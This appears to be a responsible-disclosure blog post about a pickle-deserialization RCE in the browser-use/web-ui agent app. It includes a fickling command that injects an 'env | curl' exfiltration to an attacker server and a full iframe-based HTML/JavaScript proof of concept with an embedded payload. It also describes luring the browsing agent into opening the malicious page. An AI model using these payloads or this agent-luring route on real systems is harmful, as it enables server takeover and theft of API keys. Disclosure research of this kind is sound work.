No items found.
April 23, 2025
·
0
Minutes Read

Getting RCE on browser-use/web-ui AI Agent Instances

AI Security
April 23, 2025
·
0
Minutes Read

Getting RCE on browser-use/web-ui AI Agent Instances

This is some text inside of a div block.
This is some text inside of a div block.
·
0
Minutes Read
Nils Amiet
Lead Prototyping Engineer
Find out more
table of contents
Share on
Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Browser-use is an open source Python library that can be used to build AI agents that control web browsers. It’s publicly available on Github: https://github.com/browser-use/browser-use. The official README file mentions the existence of another project named “web-ui”, which is hosted under the same Github organization: https://github.com/browser-use/web-ui.

What is browser-use/web-ui?

The Run Agent tab in web-ui

browser-use/web-ui is a web application that lets a user run browser-use agents with only a few clicks. Indeed, browser-use is helping people control a web browser using text instructions, such as the following:

“Go to Amazon and add the best book about BBQ recipes to the shopping cart. I have a $30 budget.”

With the above instructions, Browser-use would start a new web browser instance – or connect to an existing one, depending on the settings – and use an LLM to control the web browser so that the user’s task is performed. For example, the agent can scroll pages, click links and buttons, fill forms, and more.

Users have to provide their own LLM provider API keys in a .env file, and once that is set up, the web-ui web app can be used to select which LLM provider and model to use, and various browser and agent settings can be adjusted according to the user’s needs.

The configuration tab can be used to save/load all settings to/from a file. This file will contain all settings from all the tabs in web-ui.

It turns out that Python’s pickle module is used to serialize those settings. This is obviously insecure because an attacker could load a malicious pickle file that contains arbitrary code, which would be executed server-side when the pickle file is deserialized.

The Configuration tab in web-ui

Impact and Exploitation

At the time, I first thought that nobody would run this publicly because there’s no authentication whatsoever. And so, I believed that this was unlikely to be exploited as-is because one must first get access to the web-ui web app to be able to upload a malicious pickle file. But it turns out that there are a few dozen internet-facing instances of web-ui according to ZoomEye. Since those instances are publicly reachable on the internet, anyone could upload a malicious pickle file through the web application there. Let’s see how this vulnerability can be exploited.

There are multiple ways to create a malicious pickle file. Here we describe one way that worked for us. First, we build a regular pickle config file:

import pickle
import uuid
import os
def default_config():
    """Prepare the default configuration"""
    return {
        "agent_type": "custom",
        "max_steps": 100,
        "max_actions_per_step": 10,
        "use_vision": True,
        "tool_calling_method": "auto",
        "llm_provider": "openai",
        "llm_model_name": "gpt-4o",
        "llm_temperature": 1.0,
        "llm_base_url": "",
        "llm_api_key": "",
        "use_own_browser": os.getenv("CHROME_PERSISTENT_SESSION", "false").lower() == "true",
        "keep_browser_open": False,
        "headless": False,
        "disable_security": True,
        "enable_recording": True,
        "window_w": 1280,
        "window_h": 1100,
        "save_recording_path": "./tmp/record_videos",
        "save_trace_path": "./tmp/traces",
        "save_agent_history_path": "./tmp/agent_history",
        "task": "go to google.com and type 'OpenAI' click search and give me the first url",
    }
def load_config_from_file(config_file):
    """Load settings from a UUID.pkl file."""
    try:
        with open(config_file, 'rb') as f:
            settings = pickle.load(f)
        return settings
    except Exception as e:
        return f"Error loading configuration: {str(e)}"
def save_config_to_file(settings, save_dir="./tmp/webui_settings", name=None):
    """Save the current settings to a UUID.pkl file with a UUID name."""
    os.makedirs(save_dir, exist_ok=True)
    outname = f"{uuid.uuid4()}.pkl"
    if name is not None:
        outname = name
    config_file = os.path.join(save_dir, outname)
    with open(config_file, 'wb') as f:
        pickle.dump(settings, f)
    return f"Configuration saved to {config_file}"
def update_ui_from_config(loaded_config):
    if isinstance(loaded_config, dict):
        print("load success")
        return loaded_config.get("agent_type", "custom")
    else:
        pass
        print("not a dict object")
    return "foobar"
if __name__ == "__main__":
    save_config_to_file(default_config(), save_dir=".", name="default.pkl")

This creates a file named default.pkl with the default web-ui config.

Next, we install fickling and we use it to inject malicious code into the pickle file, which will be executed when the file is deserialized:

uv tool install git+https://github.com/trailofbits/fickling
fickling --inject "os.system('env | curl -XPOST http://1.2.3.4:3000 --data-binary @-')" default.pkl > malicious.pkl

Here, for example, this produces a malicious file named malicious.pkl that, when loaded, exfiltrates the environment variables to an attacker-controlled server at 1.2.3.4 by running the following command:

env | curl -XPOST http://1.2.3.4:3000 --data-binary @-

An attacker can then simply load this file through the web-ui Configuration tab so that the malicious code gets executed and the environment variables are leaked to the attacker. Of course, an attacker could run any arbitrary code here and take over the server that runs web-ui.

Exploiting private instances of web-ui

As seen above, there are a few dozen publicly available instances of web-ui, but this is just the tip of the iceberg. The web-ui Github repository has 12k stars and the browser-use repository has over 50k stars, so there must be many more instances running privately, that are not directly accessible from the internet. So, an attacker couldn’t connect to the web application and upload a malicious file to those private instances.

But if somehow this became possible, it would be even worse if one could exploit those privately running instances. Well, there’s actually another way these instances could be exploited.

To understand how, let’s have a look at the Browser settings tab.

The Browser Settings tab in web-ui

By default, browser security features are disabled. In practice, this means that browser-use runs an instance of the chromium web browser with those added command line flags:

chromium \
--disable-web-security \
--disable-site-isolation-trials \
--disable-features=IsolateOrigins,site-per-process

This is insecure because it opens the door for an attacker to upload a malicious pickle file to the web-ui settings from another web page.

Indeed, consider the following scenario. An attacker builds a malicious web page that opens the web-ui web application, running at http://localhost:7788 by default, in an iframe and uses Javascript to control that iframe so that a hardcoded malicious pickle file gets uploaded through the web-ui Configuration tab inside of that iframe. This malicious web page would look like this:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Iframe File Upload</title>
</head>
<body>
<iframe id="myIframe" src="http://localhost:7788" width="1280" height="700" style="border: 1px solid black;"></iframe>
<script>
    const filename = 'config.pkl';
    const base64String = `gASVJAIAAAAAAABjYnVpbHRpbnMKZXZhbAoojENvcy5zeXN0ZW0oJ2VudiB8IGN1cmwgLVhQT1NU
IGh0dHA6Ly8xLjIuMy40OjMwMDAgLS1kYXRhLWJpbmFyeSBALScpdFJ9lCiMCmFnZW50X3R5cGWU
jAZjdXN0b22UjAltYXhfc3RlcHOUS2SMFG1heF9hY3Rpb25zX3Blcl9zdGVwlEsKjAp1c2Vfdmlz
aW9ulIiME3Rvb2xfY2FsbGluZ19tZXRob2SUjARhdXRvlIwMbGxtX3Byb3ZpZGVylIwGb3BlbmFp
lIwObGxtX21vZGVsX25hbWWUjAZncHQtNG+UjA9sbG1fdGVtcGVyYXR1cmWURz/wAAAAAAAAjAxs
bG1fYmFzZV91cmyUjACUjAtsbG1fYXBpX2tleZRoDowPdXNlX293bl9icm93c2VylImMEWtlZXBf
YnJvd3Nlcl9vcGVulImMCGhlYWRsZXNzlImMEGRpc2FibGVfc2VjdXJpdHmUiIwQZW5hYmxlX3Jl
Y29yZGluZ5SIjAh3aW5kb3dfd5RNAAWMCHdpbmRvd19olE1MBIwTc2F2ZV9yZWNvcmRpbmdfcGF0
aJSMEy4vdG1wL3JlY29yZF92aWRlb3OUjA9zYXZlX3RyYWNlX3BhdGiUjAwuL3RtcC90cmFjZXOU
jBdzYXZlX2FnZW50X2hpc3RvcnlfcGF0aJSMEy4vdG1wL2FnZW50X2hpc3RvcnmUjAR0YXNrlIxJ
Z28gdG8gZ29vZ2xlLmNvbSBhbmQgdHlwZSAnT3BlbkFJJyBjbGljayBzZWFyY2ggYW5kIGdpdmUg
bWUgdGhlIGZpcnN0IHVybJR1cDMyMTk4NwowMGczMjE5ODcKLg==`;
    function base64ToFile(base64String, fileName, mimeType = 'application/octet-stream', iframe) {
        // Decode the Base64 string into binary data
        const byteCharacters = atob(base64String);
        const byteNumbers = new Array(byteCharacters.length);
        for (let i = 0; i < byteCharacters.length; i++) {
            byteNumbers[i] = byteCharacters.charCodeAt(i);
        }
        // Create a Uint8Array from the binary data
        const byteArray = new Uint8Array(byteNumbers);
        // Create and return a File object
        return new iframe.contentWindow.File([byteArray], fileName, {type: mimeType});
    }
    function delayedPoc() {
        setTimeout(() => {
            poc()
        }, 1000);
    }
    function poc() {
        const iframe = document.getElementById("myIframe");
        const iframeDocument = iframe.contentDocument || iframe.contentWindow.document;
        // Ensure the iframe is loaded
        if (iframeDocument) {
            const fileInput = iframeDocument.querySelector("[data-testid='file-upload']");
            setTimeout(() => {
                if (fileInput) {
                    const file = base64ToFile(base64String, filename, '', iframe);
                    const dataTransfer = new iframe.contentWindow.DataTransfer();
                    dataTransfer.items.add(file);
                    fileInput.files = dataTransfer.files; // Assign the file to the input
                    // Trigger a change event to simulate file selection
                    const event = new DragEvent("drop", {dataTransfer: dataTransfer});
                    console.log(event);
                    // dispatch event on button above
                    hiddenButtton = fileInput.parentElement;
                    hiddenButtton.dispatchEvent(event);
                } else {
                    console.error("File input element not found in the iframe.");
                }
            }, 1000);
            // load the config from the uploaded file
            setTimeout(() => {
                const buttons = iframeDocument.evaluate("//button[text()='Load Existing Config From File']", iframeDocument);
                const loadButton = buttons.iterateNext();
                console.log(loadButton);
                loadButton.click();
            }, 2500);
        } else {
            console.error("Unable to access iframe document.");
        }
    }
    document.addEventListener("DOMContentLoaded", delayedPoc);
</script>
</body>
</html>

Then, the attacker publicly hosts this malicious web page somewhere on the internet. Next, the attacker plants links to this malicious page on various popular websites, such as StackOverflow or Reddit.

A regular user of browser-use/web-ui could ask the agent to perform a genuine operation such as the following:

“Find a solution to problem XYZ, use Reddit and StackOverflow and return the answer”.

Web-ui could browse a web page that contains a link to the attacker’s malicious web page and click on that link, which would load the malicious page and upload the malicious pickle file, therefore exploiting the the web-ui instance even though it is not internet-facing.

Remediation

The affected line of code is located at: https://github.com/browser-use/web-ui/blob/4dbf564e8573d37cfaf24f3b2faa68f3cff2859c/src/utils/default_config_settings.py#L39

To fix this vulnerability, one can switch away from using pickle and use another serialization format, such as JSON to store the web-ui settings.

Disclosure timeline

The browser-use/web-ui Github repository contained a SECURITY.md file with instructions on how to report vulnerabilities but the link it contained was broken. The repository apparently had vulnerability reports disabled. Since the web-ui project was in the same organization as the main browser-use/browser-use repository, we responsibly reported this vulnerability to the browser-use authors on February 21st through the browser-use/browser-use repository instead. If it’s under the same organization, developers should care about it, right?

We didn’t get a reply after 2 weeks, so we privately messaged the two co-founders of browser-use on X on March 7. After another week, we still had no response either.

On March 14th, we tried again and posted a comment on the Github vulnerability report, while @mentioning the 2 co-founders so that they hopefully receive an email. Still no response.

We avoided to publicly reach out yet, because that may have alerted malicious actors and the vulnerability could have been found easily using a simple static analyzer. Also, only a month had passed at the time. We moved on to research vulnerabilities in other targets, while waiting for a response.

In April, I noticed that a friend of mine starred the browser-use repository, and as I was about to tell him to be careful with that project because the web-ui service was vulnerable, I figured I’d first check again if anything had changed or if we had received any response. This is when I noticed that another researcher had publicly opened a Github issue in the web-ui repository on March 27th, asking how to submit a vulnerability report. This was a month after we first privately reported the issue. Two days later, on March 29th, a developer confirmed, in the same Github issue, that the security vulnerability had been fixed. They also pushed a new release on the same day. This left the web-ui repository unpatched with the information that a vulnerability was present in the repository publicly available for 2 whole days. This is what we were trying to avoid.

Our original vulnerability report remains unanswered and ignored at this time. Now that the vulnerability has been patched, we decided to release this blog post.

Our Github vulnerability report from February 21st
Reaching out to browser-use co-founders on X, March 7th
Another researcher reaches out on March 27th through a public Github issue

Conclusions

  • Pickle shouldn’t be used to load untrusted files because it’s vulnerable to arbitrary code execution.
  • Be careful what AI applications you use and conduct security audits prior to use.
  • Developers should have a way for security researchers to contact them, and should reply to vulnerability reports.
  • Having broken links in your SECURITY.md file doesn’t help.
  • Sometimes, it can be hard to report security vulnerabilities.
  • If you’re using browser-use/web-ui, make sure to upgrade to v1.7 now!
Related Post